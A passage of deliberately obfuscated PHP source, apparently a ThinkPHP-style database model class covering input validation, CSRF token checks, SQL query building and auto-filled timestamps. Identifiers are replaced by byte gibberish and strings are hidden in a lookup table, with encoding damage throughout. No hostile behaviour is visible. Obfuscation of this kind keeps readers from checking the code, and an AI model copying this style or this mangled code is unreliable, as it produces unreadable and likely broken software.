$²Ú¼ê<C2BC>ò[$×𨊛ê[368]] = is_numeric($ÔÍìåÝŒ) ? $ÔÍìåÝŒ : 1; } if ($ÔÍìåÝŒ === $×𨊛ê[332]) { unset($²Ú¼ê<C2BC>ò[$×𨊛ê[368]]); } $ï<E28093>ß…È = $this->db->select($²Ú¼ê<C2BC>ò); if (!empty($ï<E28093>ß…È)) { if ($ÔÍìåÝŒ === $×𨊛ê[332]) { return reset($ï<E28093>ß…È[0]); } if (!0 !== $ÔÍìåÝŒ && 1 == $²Ú¼ê<C2BC>ò[$×𨊛ê[368]]) { return reset($ï<E28093>ß…È[0]); } foreach ($ï<E28093>ß…È as $ü΢é<C2A2>Ý) { $ÎðÛ<E280BA>­[] = $ü΢é<C2A2>Ý[$¤<>ÍŒÖÍ]; } return $ÎðÛ<E280BA>­; } } return null; } public function create($²«­»¤” = '', $º÷­<C3B7>Ù = '') { $¬è»Ûü =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($²«­»¤”)) { $²«­»¤” = $_POST; } elseif (is_object($²«­»¤”)) { $²«­»¤” = get_object_vars($²«­»¤”); } if (empty($²«­»¤”) || !is_array($²«­»¤”)) { $this->error = think_lang($¬è»Ûü[348]); return !1; } $²«­»¤” = $this->parseFieldsMap($²«­»¤”, 0); $º÷­<C3B7>Ù = $º÷­<C3B7>Ù ? $º÷­<C3B7>Ù : (!empty($²«­»¤”[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$¬è»Ûü[350]])) { $¯ïÖ = $this->options[$¬è»Ûü[350]]; unset($this->options[$¬è»Ûü[350]]); } elseif ($º÷­<C3B7>Ù == THINK_MODEL_INSERT && isset($this->insertFields)) { $¯ïÖ = $this->insertFields; } elseif ($º÷­<C3B7>Ù == THINK_MODEL_UPDATE && isset($this->updateFields)) { $¯ïÖ = $this->updateFields; } if (isset($¯ïÖ)) { if (is_string($¯ïÖ)) { $¯ïÖ = explode($¬è»Ûü[50], $¯ïÖ); } if (think_config($¬è»Ûü[374])) { $¯ïÖ[] = think_config($¬è»Ûü[375]); } foreach ($²«­»¤” as $ïÚ›ìûê => $œ•¸<E280A2>®œ) { if (!in_array($ïÚ›ìûê, $¯ïÖ)) { unset($²«­»¤”[$ïÚ›ìûê]); } } } if (!$this->autoValidation($²«­»¤”, $º÷­<C3B7>Ù)) { return !1; } if (!$this->autoCheckToken($²«­»¤”)) { $this->error = think_lang($¬è»Ûü[376]); return !1; } if ($this->autoCheckFields) { $¯ïÖ = $this->getDbFields(); foreach ($²«­»¤” as $ïÚ›ìûê => $œ•¸<E280A2>®œ) { if (!in_array($ïÚ›ìûê, $¯ïÖ)) { unset($²«­»¤”[$ïÚ›ìûê]); } elseif (MAGIC_QUOTES_GPC && is_string($œ•¸<E280A2>®œ)) { $²«­»¤”[$ïÚ›ìûê] = stripslashes($œ•¸<E280A2>®œ); } } } $this->autoOperation($²«­»¤”, $º÷­<C3B7>Ù); $this->data = $²«­»¤”; return $²«­»¤”; } public function autoCheckToken($Òȧ‘§¸) { $Æè«¹‰³ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($this->options[$Æè«¹‰³[377]]) && !$this->options[$Æè«¹‰³[377]]) { return !0; } if (think_config($Æè«¹‰³[374])) { $ù—òÕ‹¿ = think_config($Æè«¹‰³[375]); if (!isset($Òȧ‘§¸[$ù—òÕ‹¿]) || Session::get($ù—òÕ‹¿)) { return !1; } list($®œÓ„<C393>º, $½ŠšÆ·­) = explode($Æè«¹‰³[11], $Òȧ‘§¸[$ù—òÕ‹¿]); if ($½ŠšÆ·­ && Session::get($ù—òÕ‹¿ . $Æè«¹‰³[10] . $®œÓ„<C393>º) === $½ŠšÆ·­) { Session::remove($ù—òÕ‹¿ . $Æè«¹‰³[10] . $®œÓ„<C393>º); return !0; } if (think_config($Æè«¹‰³[378])) { Session::remove($ù—òÕ‹¿ . $Æè«¹‰³[10] . $®œÓ„<C393>º); } return !1; } return !0; } public function regex($‡úý<C3BA>׎, $<24>áñÌ») { $ݗɱÕÍ =& $_SERVER[ˆ¡¹µ‹Â]; $ß¡þòº = array($ݗɱÕÍ[379] => $ݗɱÕÍ[380], $ݗɱÕÍ[381] => $ݗɱÕÍ[382], $ݗɱÕÍ[383] => $ݗɱÕÍ[384], $ݗɱÕÍ[385] => $ݗɱÕÍ[386], $ݗɱÕÍ[387] => $ݗɱÕÍ[388], $ݗɱÕÍ[389] => $ݗɱÕÍ[390], $ݗɱÕÍ[391] => $ݗɱÕÍ[392], $ݗɱÕÍ[366] => $ݗɱÕÍ[393], $ݗɱÕÍ[394] => $ݗɱÕÍ[395]); if (isset($ß¡þòº[strtolower($<24>áñÌ»)])) { $<24>áñÌ» = $ß¡þòº[strtolower($<24>áñÌ»)]; } return preg_match($<24>áñÌ», $‡úý<C3BA>׎) === 1; } private function autoOperation(&$“Êñœü‡, $À„<E2809E>æ¿) { $‡Ò<E280A1>é©ð =& $_SERVER[ˆ¡¹µ‹Â]; if (!empty($this->options[$‡Ò<E280A1>é©ð[396]])) { $ß™<C39F>Ц° = $this->options[$‡Ò<E280A1>é©ð[396]]; unset($this->options[$‡Ò<E280A1>é©ð[396]]); } elseif (!empty($this->_auto)) { $ß™<C39F>Ц° = $this->_auto; } if (isset($ß™<C39F>Ц°)) { foreach ($ß™<C39F>Ц° as $àû¶ß<C2B6>¢) { if (empty($àû¶ß<C2B6>¢[2])) { $àû¶ß<C2B6>¢[2] = THINK_MODEL_INSERT; } if ($À„<E2809E>æ¿ == $àû¶ß<C2B6>¢[2] || $àû¶ß<C2B6>¢[2] == THINK_MODEL_BOTH) { switch (trim($àû¶ß<C2B6>¢[3])) { case $‡Ò<E280A1>é©ð[397]: case $‡Ò<E280A1>é©ð[398]: $ÑÁ¿¢Éç = isset($àû¶ß<C2B6>¢[4]) ? (array) $àû¶ß<C2B6>¢[4] : array(); if (isset($“Êñœü‡[$àû¶ß<C2B6>¢[0]])) { array_unshift($ÑÁ¿¢Éç, $“Êñœü‡[$àû¶ß<C2B6>¢[0]]); } if ($‡Ò<E280A1>é©ð[397] == $àû¶ß<C2B6>¢[3]) { $“Êñœü‡[$àû¶ß<C2B6>¢[0]] = call_user_func_array($àû¶ß<C2B6>¢[1], $ÑÁ¿¢Éç); } else { $“Êñœü‡[$àû¶ß<C2B6>¢[0]] = call_user_func_array(array(&$this, $àû¶ß<C2B6>¢[1]), $ÑÁ¿¢Éç); } break; case $‡Ò<E280A1>é©ð[350]: $“Êñœü‡[$àû¶ß<C2B6>¢[0]] = $“Êñœü‡[$àû¶ß<C2B6>¢[1]]; break; case $‡Ò<E280A1>é©ð[399]: if ($‡Ò<E280A1>é©ð[12] === $“Êñœü‡[$àû¶ß<C2B6>¢[0]]) { unset($“Êñœü‡[$àû¶ß<C2B6>¢[0]]); } break; case $‡Ò<E280A1>é©ð[400]: default: $“Êñœü‡[$àû¶ß<C2B6>¢[0]] = $àû¶ß<C2B6>¢[1]; } if (!1 === $“Êñœü‡[$àû¶ß<C2B6>¢[0]]) { unset($“Êñœü‡[$àû¶ß<C2B6>¢[0]]); } } } } return $“Êñœü‡; } protected function autoValidation($—ÜŸåêê, $‰¡É·ÒÜ) { $±­¡Âƒ  =& $_SERVER[ˆ¡¹µ‹Â]; if (!empty($this->options[$±­¡Âƒ [401]])) { $‘䨇Ìß = $this->options[$±­¡Âƒ [401]]; unset($this->options[$±­¡Âƒ [401]]); } elseif (!empty($this->_validate)) { $‘䨇Ìß = $this->_validate; } if (isset($‘䨇Ìß)) { if ($this->patchValidate) { $this->error = array(); } foreach ($‘䨇Ìß as $ÛÜ‚íì… => $æÉÖ¬ÖÆ) { if (empty($æÉÖ¬ÖÆ[5]) || $æÉÖ¬ÖÆ[5] == THINK_MODEL_BOTH || $æÉÖ¬ÖÆ[5] == $‰¡É·ÒÜ) { if (0 == strpos($æÉÖ¬ÖÆ[2], $±­¡Âƒ [402]) && strpos($æÉÖ¬ÖÆ[2], $±­¡Âƒ [403])) { $æÉÖ¬ÖÆ[2] = think_lang(substr($æÉÖ¬ÖÆ[2], 2, -1)); } $æÉÖ¬ÖÆ[3] = isset($æÉÖ¬ÖÆ[3]) ? $æÉÖ¬ÖÆ[3] : THINK_EXISTS_VALIDATE; $æÉÖ¬ÖÆ[4] = isset($æÉÖ¬ÖÆ[4]) ? $æÉÖ¬ÖÆ[4] : $±­¡Âƒ [404]; switch ($æÉÖ¬ÖÆ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($—ÜŸåêê, $æÉÖ¬ÖÆ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($±­¡Âƒ [12] != trim($—ÜŸåêê[$æÉÖ¬ÖÆ[0]])) { if (!1 === $this->_validationField($—ÜŸåêê, $æÉÖ¬ÖÆ)) { return !1; } } break; default: if (isset($—ÜŸåêê[$æÉÖ¬ÖÆ[0]])) { if (!1 === $this->_validationField($—ÜŸåêê, $æÉÖ¬ÖÆ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($Ö†õˆÝå, $Þ뛾«„) { if (!1 === $this->_validationFieldItem($Ö†õˆÝå, $Þ뛾«„)) { if ($this->patchValidate) { $this->error[$Þ뛾«„[0]] = $Þ뛾«„[2]; } else { $this->error = $Þ뛾«„[2]; return !1; } } return; } protected function _validationFieldItem($ŽÛæšÊ˜, $”¹ôµþÛ) { $Á²»˜Ö« =& $_SERVER[ˆ¡¹µ‹Â]; switch (strtolower(trim($”¹ôµþÛ[4]))) { case $Á²»˜Ö«[397]: case $Á²»˜Ö«[398]: $Æ Œ£Ôƒ = isset($”¹ôµþÛ[6]) ? (array) $”¹ôµþÛ[6] : array(); if (is_string($”¹ôµþÛ[0]) && strpos($”¹ôµþÛ[0], $Á²»˜Ö«[50])) { $”¹ôµþÛ[0] = explode($Á²»˜Ö«[50], $”¹ôµþÛ[0]); } if (is_array($”¹ôµþÛ[0])) { foreach ($”¹ôµþÛ[0] as $º¾<C2BA>ÃÁ) { $ì½Í¶æª[$º¾<C2BA>ÃÁ] = $ŽÛæšÊ˜[$º¾<C2BA>ÃÁ]; } array_unshift($Æ Œ£Ôƒ, $ì½Í¶æª); } else { array_unshift($Æ Œ£Ôƒ, $ŽÛæšÊ˜[$”¹ôµþÛ[0]]); } if ($Á²»˜Ö«[397] == $”¹ôµþÛ[4]) { return call_user_func_array($”¹ôµþÛ[1], $Æ Œ£Ôƒ); } else { return call_user_func_array(array(&$this, $”¹ôµþÛ[1]), $Æ Œ£Ôƒ); } case $Á²»˜Ö«[405]: return $ŽÛæšÊ˜[$”¹ôµþÛ[0]] == $ŽÛæšÊ˜[$”¹ôµþÛ[1]]; case $Á²»˜Ö«[406]: if (is_string($”¹ôµþÛ[0]) && strpos($”¹ôµþÛ[0], $Á²»˜Ö«[50])) { $”¹ôµþÛ[0] = explode($Á²»˜Ö«[50], $”¹ôµþÛ[0]); } $<24>ŒŸŠœ÷ = array(); if (is_array($”¹ôµþÛ[0])) { foreach ($”¹ôµþÛ[0] as $º¾<C2BA>ÃÁ) { $<24>ŒŸŠœ÷[$º¾<C2BA>ÃÁ] = $ŽÛæšÊ˜[$º¾<C2BA>ÃÁ]; } } else { $<24>ŒŸŠœ÷[$”¹ôµþÛ[0]] = $ŽÛæšÊ˜[$”¹ôµþÛ[0]]; } if (!empty($ŽÛæšÊ˜[$this->getPk()])) { $<24>ŒŸŠœ÷[$this->getPk()] = array($Á²»˜Ö«[407], $ŽÛæšÊ˜[$this->getPk()]); } if ($this->where($<24>ŒŸŠœ÷)->find()) { return !1; } return !0; default: return $this->check($ŽÛæšÊ˜[$”¹ôµþÛ[0]], $”¹ôµþÛ[1], $”¹ôµþÛ[4]); } } public function check($¿Êßµ¿<C2B5>, $ß®„íŸ<C3AD>, $ÅìÖ÷<C396>Ê = "\x72\145\x67\145\170") { $ÔÄâÓú<C393> =& $_SERVER[ˆ¡¹µ‹Â]; $ÅìÖ÷<C396>Ê = strtolower(trim($ÅìÖ÷<C396>Ê)); switch ($ÅìÖ÷<C396>Ê) { case $ÔÄâÓú<C393>[7]: case $ÔÄâÓú<C393>[408]: $±º”À´¶ = is_array($ß®„íŸ<C3AD>) ? $ß®„íŸ<C3AD> : explode($ÔÄâÓú<C393>[50], $ß®„íŸ<C3AD>); return $ÅìÖ÷<C396>Ê == $ÔÄâÓú<C393>[7] ? in_array($¿Êßµ¿<C2B5>, $±º”À´¶) : !in_array($¿Êßµ¿<C2B5>, $±º”À´¶); case $ÔÄâÓú<C393>[409]: case $ÔÄâÓú<C393>[410]: if (is_array($ß®„íŸ<C3AD>)) { $„üÖÜ›´ = $ß®„íŸ<C3AD>[0]; $̹ø°ˆ‡ = $ß®„íŸ<C3AD>[1]; } else { list($„üÖÜ›´, $̹ø°ˆ‡) = explode($ÔÄâÓú<C393>[50], $ß®„íŸ<C3AD>); } return $ÅìÖ÷<C396>Ê == $ÔÄâÓú<C393>[409] ? $¿Êßµ¿<C2B5> >= $„üÖÜ›´ && $¿Êßµ¿<C2B5> <= $̹ø°ˆ‡ : $¿Êßµ¿<C2B5> < $„üÖÜ›´ || $¿Êßµ¿<C2B5> > $̹ø°ˆ‡; case $ÔÄâÓú<C393>[411]: case $ÔÄâÓú<C393>[412]: return $ÅìÖ÷<C396>Ê == $ÔÄâÓú<C393>[411] ? $¿Êßµ¿<C2B5> == $ß®„íŸ<C3AD> : $¿Êßµ¿<C2B5> != $ß®„íŸ<C3AD>; case $ÔÄâÓú<C393>[413]: $¥…–޳ô = mb_strlen($¿Êßµ¿<C2B5>, $ÔÄâÓú<C393>[414]); if (strpos($ß®„íŸ<C3AD>, $ÔÄâÓú<C393>[50])) { list($„üÖÜ›´, $̹ø°ˆ‡) = explode($ÔÄâÓú<C393>[50], $ß®„íŸ<C3AD>); return $¥…–޳ô >= $„üÖÜ›´ && $¥…–޳ô <= $̹ø°ˆ‡; } else { return $¥…–޳ô == $ß®„íŸ<C3AD>; } case $ÔÄâÓú<C393>[415]: list($êÈ‹ý¯³, $ãŒÓ²¦Å) = explode($ÔÄâÓú<C393>[50], $ß®„íŸ<C3AD>); if (!is_numeric($êÈ‹ý¯³)) { $êÈ‹ý¯³ = strtotime($êÈ‹ý¯³); } if (!is_numeric($ãŒÓ²¦Å)) { $ãŒÓ²¦Å = strtotime($ãŒÓ²¦Å); } return NOW_TIME >= $êÈ‹ý¯³ && NOW_TIME <= $ãŒÓ²¦Å; case $ÔÄâÓú<C393>[416]: return in_array(get_client_ip(), explode($ÔÄâÓú<C393>[50], $ß®„íŸ<C3AD>)); case $ÔÄâÓú<C393>[417]: return !in_array(get_client_ip(), explode($ÔÄâÓú<C393>[50], $ß®„íŸ<C3AD>)); case $ÔÄâÓú<C393>[404]: default: return $this->regex($¿Êßµ¿<C2B5>, $ß®„íŸ<C3AD>); } } public function query($¢<>²ç„º, $<24>ÞÛÇÏá = false) { $•‚­ßƒß =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_bool($<24>ÞÛÇÏá) && !is_array($<24>ÞÛÇÏá)) { $<24>ÞÛÇÏá = func_get_args(); array_shift($<24>ÞÛÇÏá); } $¢<>²ç„º = str_replace(array($•‚­ßƒß[262], $•‚­ßƒß[418]), $•‚­ßƒß[53], $¢<>²ç„º); $¢<>²ç„º = $this->parseSql($¢<>²ç„º, $<24>ÞÛÇÏá); return $this->db->query($¢<>²ç„º); } public function execute($î<>˜×õ½, $€ü¥Ú¤í = false) { if (!is_bool($€ü¥Ú¤í) && !is_array($€ü¥Ú¤í)) { $€ü¥Ú¤í = func_get_args(); array_shift($€ü¥Ú¤í); } $î<>˜×õ½ = $this->parseSql($î<>˜×õ½, $€ü¥Ú¤í); return $this->db->execute($î<>˜×õ½); } protected function parseSql($ÜÖÕÆßþ, $Ø´ÍÅ…À) { $†ôÞœÍÅ =& $_SERVER[ˆ¡¹µ‹Â]; if (!0 === $Ø´ÍÅ…À) { $–«ªÝ¾Ã = $this->_parseOptions(); $ÜÖÕÆßþ = $this->db->parseSql($ÜÖÕÆßþ, $–«ªÝ¾Ã); } elseif (is_array($Ø´ÍÅ…À)) { $Ø´ÍÅ…À = array_map(array($this->db, $†ôÞœÍÅ[419]), $Ø´ÍÅ…À); $ÜÖÕÆßþ = vsprintf($ÜÖÕÆßþ, $Ø´ÍÅ…À); } else { $ÜÖÕÆßþ = strtr($ÜÖÕÆßþ, array($†ôÞœÍÅ[420] => $this->getTableName(), $†ôÞœÍÅ[421] => think_config($†ôÞœÍÅ[321]))); } $this->db->setModel($this->name); return $ÜÖÕÆßþ; } public function db($ŒÁÖ”¥¨ = '', $Ȇœ…Ç› = '', $¶õäìâþ = array()) { $è“¤Ö¡Õ =& $_SERVER[ˆ¡¹µ‹Â]; if ($蓤֡Õ[12] === $ŒÁÖ”¥¨ && $this->db) { return $this->db; } static $´•ùþ©Þ = array(); static $Û¥©Ù‡† = array(); if (!isset($Û¥©Ù‡†[$ŒÁÖ”¥¨]) || isset($Û¥©Ù‡†[$ŒÁÖ”¥¨]) && $Ȇœ…Ç› && $´•ùþ©Þ[$ŒÁÖ”¥¨] != $Ȇœ…Ç›) { if (!empty($Ȇœ…Ç›) && is_string($Ȇœ…Ç›) && !1 === strpos($Ȇœ…Ç›, $蓤֡Õ[8])) { $Ȇœ…Ç› = think_config($Ȇœ…Ç›); } $ŒÁÖ”¥¨ = think_guid($Ȇœ…Ç›); $Û¥©Ù‡†[$ŒÁÖ”¥¨] = Db::getInstance($Ȇœ…Ç›); } elseif (NULL === $Ȇœ…Ç›) { $Û¥©Ù‡†[$ŒÁÖ”¥¨]->close(); unset($Û¥©Ù‡†[$ŒÁÖ”¥¨]); return; } if (!empty($¶õäìâþ)) { if (is_string($¶õäìâþ)) { parse_str($¶õäìâþ, $¶õäìâþ); } foreach ($¶õäìâþ as $›’ƒÎÈø => $εŸ›·¨) { $this->setProperty($›’ƒÎÈø, $εŸ›·¨); } } $´•ùþ©Þ[$ŒÁÖ”¥¨] = $Ȇœ…Ç›; $this->db = $Û¥©Ù‡†[$ŒÁÖ”¥¨]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ü†¥ê‡ƒ = get_class($this); if ($ü†¥ê‡ƒ == $_SERVER[ˆ¡¹µ‹Â][422]) { return $this->name; } $this->name = substr($ü†¥ê‡ƒ, 0, -5); } return $this->name; } public function getTableName() { $’õ§—Ú‹ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($this->trueTableName)) { $¡ì·Úïà = !empty($this->tablePrefix) ? $this->tablePrefix : $’õ§—Ú‹[12]; if (!empty($this->tableName)) { $¡ì·Úïà .= $this->tableName; } else { $¡ì·Úïà .= think_parse_name($this->name); } $this->trueTableName = strtolower($¡ì·ÚïÃ); } return (!empty($this->dbName) ? $this->dbName . $’õ§—Ú‹[10] : $’õ§—Ú‹[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ÏÇ×Õȳ =& $_SERVER[ˆ¡¹µ‹Â]; return isset($this->fields[$ÏÇ×Õȳ[328]]) ? $this->fields[$ÏÇ×Õȳ[328]] : $this->pk; } public function getDbFields() { $Ü’£°þ¹ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($this->options[$Ü’£°þ¹[356]])) { $Ü‘’¬¨Þ = $this->db->getFields($this->options[$Ü’£°þ¹[356]]); return $Ü‘’¬¨Þ ? array_keys($Ü‘’¬¨Þ) : !1; } if ($this->fields) { $Ü‘’¬¨Þ = $this->fields; unset($Ü‘’¬¨Þ[$Ü’£°þ¹[327]], $Ü‘’¬¨Þ[$Ü’£°þ¹[328]], $Ü‘’¬¨Þ[$Ü’£°þ¹[329]], $Ü‘’¬¨Þ[$Ü’£°þ¹[326]]); return $Ü‘’¬¨Þ; } return !1; } public function data($­Ä³Àµƒ = '') { $ð·À–°Å =& $_SERVER[ˆ¡¹µ‹Â]; if ($ð·À–°Å[12] === $­Ä³Àµƒ && !empty($this->data)) { return $this->data; } if (is_object($­Ä³Àµƒ)) { $­Ä³Àµƒ = get_object_vars($­Ä³Àµƒ); } elseif (is_string($­Ä³Àµƒ)) { parse_str($­Ä³Àµƒ, $­Ä³Àµƒ); } elseif (!is_array($­Ä³Àµƒ)) { think_exception(think_lang($ð·À–°Å[348])); } $this->data = $­Ä³Àµƒ; return $this; } public function join($<24>ÒšªÐÃ) { $³ÊçŽå‘ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_array($<24>ÒšªÐÃ)) { $this->options[$³ÊçŽå‘[359]] = $<24>ÒšªÐÃ; } elseif (!empty($<24>ÒšªÐÃ)) { $this->options[$³ÊçŽå‘[359]][] = $<24>ÒšªÐÃ; } return $this; } public function union($†ò›‘„ì, $<24>ËŒè­Ó = false) { $Šï³Ðëõ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($†ò›‘„ì)) { return $this; } if ($<24>ËŒè­Ó) { $this->options[$Šï³Ðëõ[423]][$Šï³Ðëõ[424]] = !0; } if (is_object($†ò›‘„ì)) { $†ò›‘„ì = get_object_vars($†ò›‘„ì); } if (is_string($†ò›‘„ì)) { $’ù…’Óƒ = $†ò›‘„ì; } elseif (is_array($†ò›‘„ì)) { if (isset($†ò›‘„ì[0])) { $this->options[$Šï³Ðëõ[423]] = array_merge($this->options[$Šï³Ðëõ[423]], $†ò›‘„ì); return $this; } else { $’ù…’Óƒ = $†ò›‘„ì; } } else { think_exception(think_lang($Šï³Ðëõ[348])); } $this->options[$Šï³Ðëõ[423]][] = $’ù…’Óƒ; return $this; } public function cache($ù¬»ž‡<C5BE> = true, $÷¥î›¹í = null, $È”§¿ß® = '') { $݈”ÏÕ¼ =& $_SERVER[ˆ¡¹µ‹Â]; if (!1 !== $ù¬»ž‡<C5BE>) { $this->options[$݈”ÏÕ¼[425]] = array($݈”ÏÕ¼[97] => $ù¬»ž‡<C5BE>, $݈”ÏÕ¼[415] => $÷¥î›¹í, $݈”ÏÕ¼[33] => $È”§¿ß®); } return $this; } public function field($ÎßòïÁœ, $€é寃® = false) { $œ¦Ð‹½­ =& $_SERVER[ˆ¡¹µ‹Â]; if (!0 === $ÎßòïÁœ) { $á²ï®Ëý = $this->getDbFields(); $ÎßòïÁœ = $á²ï®Ëý ? $á²ï®Ëý : $œ¦Ð‹½­[220]; } elseif ($€é寃®) { if (is_string($ÎßòïÁœ)) { $ÎßòïÁœ = explode($œ¦Ð‹½­[50], $ÎßòïÁœ); } $á²ï®Ëý = $this->getDbFields(); $ÎßòïÁœ = $á²ï®Ëý ? array_diff($á²ï®Ëý, $ÎßòïÁœ) : $ÎßòïÁœ; } $this->options[$œ¦Ð‹½­[350]] = $ÎßòïÁœ; return $this; } public function scope($›ƒãÍ”ƒ = '', $ò»÷ªÜß = NULL) { $Ã<>—ŸÍ© =& $_SERVER[ˆ¡¹µ‹Â]; if ($Ã<>—ŸÍ©[12] === $›ƒãÍ”ƒ) { if (isset($this->_scope[$Ã<>—ŸÍ©[37]])) { $ÎÚŽ<C39A>ãú = $this->_scope[$Ã<>—ŸÍ©[37]]; } else { return $this; } } elseif (is_string($›ƒãÍ”ƒ)) { $Ú‡ÙÄ÷˜ = explode($Ã<>—ŸÍ©[50], $›ƒãÍ”ƒ); $ÎÚŽ<C39A>ãú = array(); foreach ($Ú‡ÙÄ÷˜ as $—<>ž û„) { if (!isset($this->_scope[$—<>ž û„])) { continue; } $ÎÚŽ<C39A>ãú = array_merge($ÎÚŽ<C39A>ãú, $this->_scope[$—<>ž û„]); } if (!empty($ò»÷ªÜß) && is_array($ò»÷ªÜß)) { $ÎÚŽ<C39A>ãú = array_merge($ÎÚŽ<C39A>ãú, $ò»÷ªÜß); } } elseif (is_array($›ƒãÍ”ƒ)) { $ÎÚŽ<C39A>ãú = $›ƒãÍ”ƒ; } if (is_array($ÎÚŽ<C39A>ãú) && !empty($ÎÚŽ<C39A>ãú)) { $this->options = array_merge($this->options, array_change_key_case($ÎÚŽ<C39A>ãú)); } return $this; } public function where($¥½Þ…ðæ, $ Âïï<C3AF>— = null) { $¢¸þêâ  =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_null($ Âïï<C3AF>—) && is_string($¥½Þ…ðæ)) { if (!is_array($ Âïï<C3AF>—)) { $ Âïï<C3AF>— = func_get_args(); array_shift($ Âïï<C3AF>—); } $ Âïï<C3AF>— = array_map(array($this->db, $¢¸þêâ [419]), $ Âïï<C3AF>—); $¥½Þ…ðæ = vsprintf($¥½Þ…ðæ, $ Âïï<C3AF>—); } elseif (is_object($¥½Þ…ðæ)) { $¥½Þ…ðæ = get_object_vars($¥½Þ…ðæ); } elseif (is_array($¥½Þ…ðæ)) { foreach ($¥½Þ…ðæ as $•ÚîçϺ => $­ä惘Å) { if ((is_numeric($•ÚîçϺ) || !$•ÚîçϺ) && is_string($­ä惘Å)) { if (strpos($­ä惘Å, $¢¸þêâ [426]) === 0) { continue; } think_trace($¢¸þêâ [427], $¢¸þêâ [12], $¢¸þêâ [49]); die; } } } if (is_string($¥½Þ…ðæ) && $¢¸þêâ [12] != $¥½Þ…ðæ) { $™óòæÈá = array(); $™óòæÈá[$¢¸þêâ [428]] = $¥½Þ…ðæ; $¥½Þ…ðæ = $™óòæÈá; } if (isset($this->options[$¢¸þêâ [352]])) { $this->options[$¢¸þêâ [352]] = array_merge($this->options[$¢¸þêâ [352]], $¥½Þ…ðæ); } else { $this->options[$¢¸þêâ [352]] = $¥½Þ…ðæ; } return $this; } public function limit($¹µ¹†<C2B9>ä, $èÏß§Œ× = null) { $íô í¢Ë =& $_SERVER[ˆ¡¹µ‹Â]; $this->options[$íô í¢Ë[368]] = is_null($èÏß§Œ×) ? $¹µ¹†<C2B9>ä : $¹µ¹†<C2B9>ä . $íô í¢Ë[50] . $èÏß§Œ×; return $this; } public function page($Ë«‰ßÚ”, $¯²’ôîš = null) { $‹•‡©¯º =& $_SERVER[ˆ¡¹µ‹Â]; $this->options[$‹•‡©¯º[429]] = is_null($¯²’ôîš) ? $Ë«‰ßÚ” : $Ë«‰ßÚ” . $‹•‡©¯º[50] . $¯²’ôîš; return $this; } public function comment($먈¢<CB86>±) { $this->options[$_SERVER[ˆ¡¹µ‹Â][430]] = $먈¢<CB86>±; return $this; } public function setProperty($¨Ý¥<C39D>…±, $—<>áÜ¢à) { if (property_exists($this, $¨Ý¥<C39D>…±)) { $this->{$¨Ý¥<C39D>…±} = $—<>áÜ¢à; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\144\151\146\x79\124\x69\155\145", "\x74\x69\x6d\x65", "\x69\x6e\x73\x65\162\x74\54\165\160\144\141\164\145", "\x66\165\156\x63\164\151\157\x6e"), array("\x63\x72\x65\x61\x74\145\x54\x69\x6d\x65", "\164\151\x6d\145", "\x69\156\x73\145\x72\164", "\x66\165\156\x63\164\151\157\156")); public function setDataAuto($ãíðèÏÛ) { $this->dataAuto = $ãíðèÏÛ; } public function __construct($ÃÙî«ù— = '', $¨§³¿¸Ã = '', $¼­æýÍÔ = '') { parent::__construct($ÃÙî«ù—, $¨§³¿¸Ã, $¼­æýÍÔ); } protected $tableMeta = array(); protected function _beforeInsert(&$„šßÀÕ³, $Ä­§ž¯¦) { $®Ž†ß˜¸ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->checkDataAutoHas($®Ž†ß˜¸[431])) { return; } $this->dataBeforeFilter($„šßÀÕ³, $®Ž†ß˜¸[431]); } protected function _beforeUpdate(&$ñûçÅ¡Õ, $œ¹Í<C2B9>¿Ú) { $÷çȱ­à =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->checkDataAutoHas($÷çȱ­à[432])) { return; } $this->dataBeforeFilter($ñûçÅ¡Õ, $÷çȱ­à[432]); } protected function _afterSelect(&$‰úð†<C3B0>, $‹­óئ¥) { if (!is_array($‰úð†<C3B0>)) { return; } if (!$this->checkDataAutoHas($_SERVER[ˆ¡¹µ‹Â][433])) { return; } foreach ($‰úð†<C3B0> as &$ÃÙ‹Þîë) { $this->dataAfterFilter($ÃÙ‹Þîë); } unset($ÃÙ‹Þîë); } protected function _afterFind(&$¯ê·ž©ê, $ŠþøâƒÈ) { if (!is_array($¯ê·ž©ê)) { return; } if (!$this->checkDataAutoHas($_SERVER[ˆ¡¹µ‹Â][433])) { return; } $this->dataAfterFilter($¯ê·ž©ê); } public static function textEncode($ͧΌӑ) { if (!$ͧΌӑ) { return $ͧΌӑ; } $<24>£¬Ó‰Ç = json_encode($ͧΌӑ); $<24>£¬Ó‰Ç = preg_replace_callback($_SERVER[ˆ¡¹µ‹Â][434], function ($·˜”Ùîä) { return addslashes($·˜”Ùîä[0]); }, $<24>£¬Ó‰Ç); return json_decode($<24>£¬Ó‰Ç); } public static function textDecode($âÂ<C3A2>—†Œ) { $̹´î¥È =& $_SERVER[ˆ¡¹µ‹Â]; $íã€ËêÚ = json_encode($âÂ<C3A2>—†Œ); $íã€ËêÚ = preg_replace_callback($̹´î¥È[435], function ($˜ôàôöü) { return $_SERVER[ˆ¡¹µ‹Â][100]; }, $íã€ËêÚ); return json_decode($íã€ËêÚ); } public function setAutoIncrement($шþÉËò) { $µ¤Â‘­ž = array($this->getPk() => $шþÉËò); $é°¡©ß¯ = $this->data($µ¤Â‘­ž)->add(); if 